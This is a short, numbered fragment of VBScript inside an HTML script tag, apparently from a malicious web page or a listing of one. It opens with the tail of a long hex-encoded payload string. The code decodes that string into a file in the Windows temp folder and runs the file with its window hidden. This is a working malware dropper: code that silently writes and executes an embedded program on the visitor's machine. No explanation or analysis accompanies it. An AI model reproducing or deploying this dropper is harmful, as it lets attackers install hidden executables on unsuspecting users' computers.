00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
  453. Set FSO = CreateObject("Scripting.FileSystemObject")
  454. DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
  455. If FSO.FileExists(DropPath)=False Then
  456. Set FileObj = FSO.CreateTextFile(DropPath, True)
  457. For i = 1 To Len(WriteData) Step 2
  458. FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
  459. Next
  460. FileObj.Close
  461. End If
  462. Set WSHshell = CreateObject("WScript.Shell")
  463. WSHshell.Run DropPath, 0
  464. //--></SCRIPT>